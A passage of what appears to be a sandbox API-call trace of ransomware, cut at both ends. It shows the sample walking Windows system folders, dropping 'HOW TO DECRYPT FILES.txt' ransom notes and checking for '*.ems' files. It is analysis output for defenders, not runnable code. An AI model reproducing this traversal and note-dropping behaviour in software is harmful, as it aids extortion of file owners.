dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0107.172] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.172] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90a5a376, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x90a5a376, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x90a5a376, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.172] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.172] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.172] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90a5a376, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x90a5a376, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x90a5a376, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="30b1d86571495ea86b9a19b13498aad3", cAlternateFileName="30B1D8~1")) returned 1 [0107.172] lstrcmpA (lpString1=".", lpString2="30b1d86571495ea86b9a19b13498aad3") returned -1 [0107.172] lstrcmpA (lpString1="..", lpString2="30b1d86571495ea86b9a19b13498aad3") returned -1 [0107.172] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WindowsFormsIntegra#\\*.*") returned="*.*" [0107.172] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WindowsFormsIntegra#\\", lpString2="30b1d86571495ea86b9a19b13498aad3" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WindowsFormsIntegra#\\30b1d86571495ea86b9a19b13498aad3") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WindowsFormsIntegra#\\30b1d86571495ea86b9a19b13498aad3" [0107.172] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WindowsFormsIntegra#\\30b1d86571495ea86b9a19b13498aad3\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90a5a376, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x90a5a376, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x90a5a376, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0107.173] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.173] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90a5a376, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x90a5a376, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x90a5a376, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.173] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.173] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.173] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90a0e0b6, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x90a0e0b6, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x90a0e0b6, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x3aa00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="WindowsFormsIntegration.ni.dll", cAlternateFileName="WINDOW~1.DLL")) returned 1 [0107.173] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0107.173] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WindowsFormsIntegration.ni.dll") returned -1 [0107.173] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WindowsFormsIntegration.ni.dll") returned -1 [0107.173] lstrcmpiA (lpString1="", lpString2="WindowsFormsIntegration.ni.dll") returned -1 [0107.173] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WindowsFormsIntegra#\\30b1d86571495ea86b9a19b13498aad3\\*.*") returned="*.*" [0107.173] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WindowsFormsIntegra#\\30b1d86571495ea86b9a19b13498aad3\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WindowsFormsIntegra#\\30b1d86571495ea86b9a19b13498aad3\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WindowsFormsIntegra#\\30b1d86571495ea86b9a19b13498aad3\\" [0107.173] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WindowsFormsIntegra#\\30b1d86571495ea86b9a19b13498aad3\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WindowsFormsIntegra#\\30b1d86571495ea86b9a19b13498aad3\\") returned="" [0107.173] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WindowsFormsIntegra#\\30b1d86571495ea86b9a19b13498aad3\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WindowsFormsIntegra#\\30b1d86571495ea86b9a19b13498aad3\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WindowsFormsIntegra#\\30b1d86571495ea86b9a19b13498aad3\\HOW TO DECRYPT FILES.txt" [0107.173] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WindowsFormsIntegra#\\30b1d86571495ea86b9a19b13498aad3\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\windowsformsintegra#\\30b1d86571495ea86b9a19b13498aad3\\how to decrypt files.txt")) returned 0xffffffff [0107.174] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WindowsFormsIntegra#\\30b1d86571495ea86b9a19b13498aad3\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\windowsformsintegra#\\30b1d86571495ea86b9a19b13498aad3\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0107.176] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0107.176] CloseHandle (hObject=0x90) returned 1 [0107.176] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WindowsFormsIntegra#\\30b1d86571495ea86b9a19b13498aad3\\", lpString2="WindowsFormsIntegration.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WindowsFormsIntegra#\\30b1d86571495ea86b9a19b13498aad3\\WindowsFormsIntegration.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WindowsFormsIntegra#\\30b1d86571495ea86b9a19b13498aad3\\WindowsFormsIntegration.ni.dll" [0107.176] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WindowsFormsIntegra#\\30b1d86571495ea86b9a19b13498aad3\\WindowsFormsIntegration.ni.dll", pszSpec="*.ems") returned 0 [0107.176] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90a0e0b6, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x90a0e0b6, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x90a0e0b6, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x3aa00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="WindowsFormsIntegration.ni.dll", cAlternateFileName="WINDOW~1.DLL")) returned 0 [0107.176] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0107.177] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90a5a376, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x90a5a376, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x90a5a376, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="30b1d86571495ea86b9a19b13498aad3", cAlternateFileName="30B1D8~1")) returned 0 [0107.177] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0107.177] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d7f31b3, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5d7f31b3, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5d7f31b3, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x690057, dwReserved1=0x64006e, cFileName="WsatConfig", cAlternateFileName="WSATCO~1")) returned 1 [0107.177] lstrcmpA (lpString1=".", lpString2="WsatConfig") returned -1 [0107.177] lstrcmpA (lpString1="..", lpString2="WsatConfig") returned -1 [0107.177] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0107.177] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="WsatConfig" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WsatConfig") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WsatConfig" [0107.177] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WsatConfig\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d7f31b3, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5d7f31b3, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5d7f31b3, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0107.178] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.178] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d7f31b3, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5d7f31b3, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5d7f31b3, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.178] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.178] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.178] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d7f31b3, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5d7f31b3, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5d7f31b3, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="96a8bdafba9f9d3e33cd974bfaa67e58", cAlternateFileName="96A8BD~1")) returned 1 [0107.178] lstrcmpA (lpString1=".", lpString2="96a8bdafba9f9d3e33cd974bfaa67e58") returned -1 [0107.178] lstrcmpA (lpString1="..", lpString2="96a8bdafba9f9d3e33cd974bfaa67e58") returned -1 [0107.178] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WsatConfig\\*.*") returned="*.*" [0107.178] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WsatConfig\\", lpString2="96a8bdafba9f9d3e33cd974bfaa67e58" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WsatConfig\\96a8bdafba9f9d3e33cd974bfaa67e58") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WsatConfig\\96a8bdafba9f9d3e33cd974bfaa67e58" [0107.178] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WsatConfig\\96a8bdafba9f9d3e33cd974bfaa67e58\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d7f31b3, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5d7f31b3, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5d7f31b3, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0107.179] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.179] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d7f31b3, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5d7f31b3, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5d7f31b3, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.179] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.179] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.179] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d7a6ef2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5d7a6ef2, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5d7a6ef2, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x4e600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="WsatConfig.ni.exe", cAlternateFileName="WSATCO~1.EXE")) returned 1 [0107.179] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0107.179] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WsatConfig.ni.exe") returned -1 [0107.179] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WsatConfig.ni.exe") returned -1 [0107.179] lstrcmpiA (lpString1="", lpString2="WsatConfig.ni.exe") returned -1 [0107.179] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WsatConfig\\96a8bdafba9f9d3e33cd974bfaa67e58\\*.*") returned="*.*" [0107.179] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WsatConfig\\96a8bdafba9f9d3e33cd974bfaa67e58\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WsatConfig\\96a8bdafba9f9d3e33cd974bfaa67e58\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WsatConfig\\96a8bdafba9f9d3e33cd974bfaa67e58\\" [0107.179] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WsatConfig\\96a8bdafba9f9d3e33cd974bfaa67e58\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WsatConfig\\96a8bdafba9f9d3e33cd974bfaa67e58\\") returned="" [0107.179] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WsatConfig\\96a8bdafba9f9d3e33cd974bfaa67e58\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WsatConfig\\96a8bdafba9f9d3e33cd974bfaa67e58\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WsatConfig\\96a8bdafba9f9d3e33cd974bfaa67e58\\HOW TO DECRYPT FILES.txt" [0107.179] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WsatConfig\\96a8bdafba9f9d3e33cd974bfaa67e58\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\wsatconfig\\96a8bdafba9f9d3e33cd974bfaa67e58\\how to decrypt files.txt")) returned 0xffffffff [0107.179] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WsatConfig\\96a8bdafba9f9d3e33cd974bfaa67e58\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\wsatconfig\\96a8bdafba9f9d3e33cd974bfaa67e58\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0107.181] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0107.182] CloseHandle (hObject=0x90) returned 1 [0107.182] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WsatConfig\\96a8bdafba9f9d3e33cd974bfaa67e58\\", lpString2="WsatConfig.ni.exe" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WsatConfig\\96a8bdafba9f9d3e33cd974bfaa67e58\\WsatConfig.ni.exe") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WsatConfig\\96a8bdafba9f9d3e33cd974bfaa67e58\\WsatConfig.ni.exe" [0107.182] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WsatConfig\\96a8bdafba9f9d3e33cd974bfaa67e58\\WsatConfig.ni.exe", pszSpec="*.ems") returned 0 [0107.182] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d7a6ef2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5d7a6ef2, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5d7a6ef2, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x4e600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="WsatConfig.ni.exe", cAlternateFileName="WSATCO~1.EXE")) returned 0 [0107.182] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0107.182] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d7f31b3, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5d7f31b3, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5d7f31b3, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="96a8bdafba9f9d3e33cd974bfaa67e58", cAlternateFileName="96A8BD~1")) returned 0 [0107.182] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0107.182] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d7f31b3, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5d7f31b3, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5d7f31b3, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x690057, dwReserved1=0x64006e, cFileName="WsatConfig", cAlternateFileName="WSATCO~1")) returned 0 [0107.182] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0107.182] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3118c295, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x73e153e0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x73e153e0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f4957, dwReserved1=0x1d97950, cFileName="NativeImages_v2.0.50727_64", cAlternateFileName="NATIVE~1.507")) returned 1 [0107.182] lstrcmpA (lpString1=".", lpString2="NativeImages_v2.0.50727_64") returned -1 [0107.182] lstrcmpA (lpString1="..", lpString2="NativeImages_v2.0.50727_64") returned -1 [0107.183] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\*.*") returned="*.*" [0107.183] lstrcatA (in: lpString1="C:\\Windows\\assembly\\", lpString2="NativeImages_v2.0.50727_64" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64" [0107.183] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3118c295, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x73e153e0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x73e153e0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x730057, dwReserved1=0x740061, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0107.189] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.189] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3118c295, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x73e153e0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x73e153e0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x740000, cFileName="..", cAlternateFileName="")) returned 1 [0107.190] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.190] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.190] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f336dbd, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6f336dbd, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6f336dbd, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Accessibility", cAlternateFileName="ACCESS~1")) returned 1 [0107.190] lstrcmpA (lpString1=".", lpString2="Accessibility") returned -1 [0107.190] lstrcmpA (lpString1="..", lpString2="Accessibility") returned -1 [0107.190] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0107.190] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="Accessibility" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Accessibility") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Accessibility" [0107.191] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Accessibility\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f336dbd, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6f336dbd, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6f336dbd, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0107.191] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.191] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f336dbd, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6f336dbd, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6f336dbd, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.191] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.191] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.191] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f336dbd, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6f336dbd, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6f336dbd, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="b03641c39929ad202f0c3a9a64b93d86", cAlternateFileName="B03641~1")) returned 1 [0107.191] lstrcmpA (lpString1=".", lpString2="b03641c39929ad202f0c3a9a64b93d86") returned -1 [0107.191] lstrcmpA (lpString1="..", lpString2="b03641c39929ad202f0c3a9a64b93d86") returned -1 [0107.191] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Accessibility\\*.*") returned="*.*" [0107.191] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Accessibility\\", lpString2="b03641c39929ad202f0c3a9a64b93d86" | out: 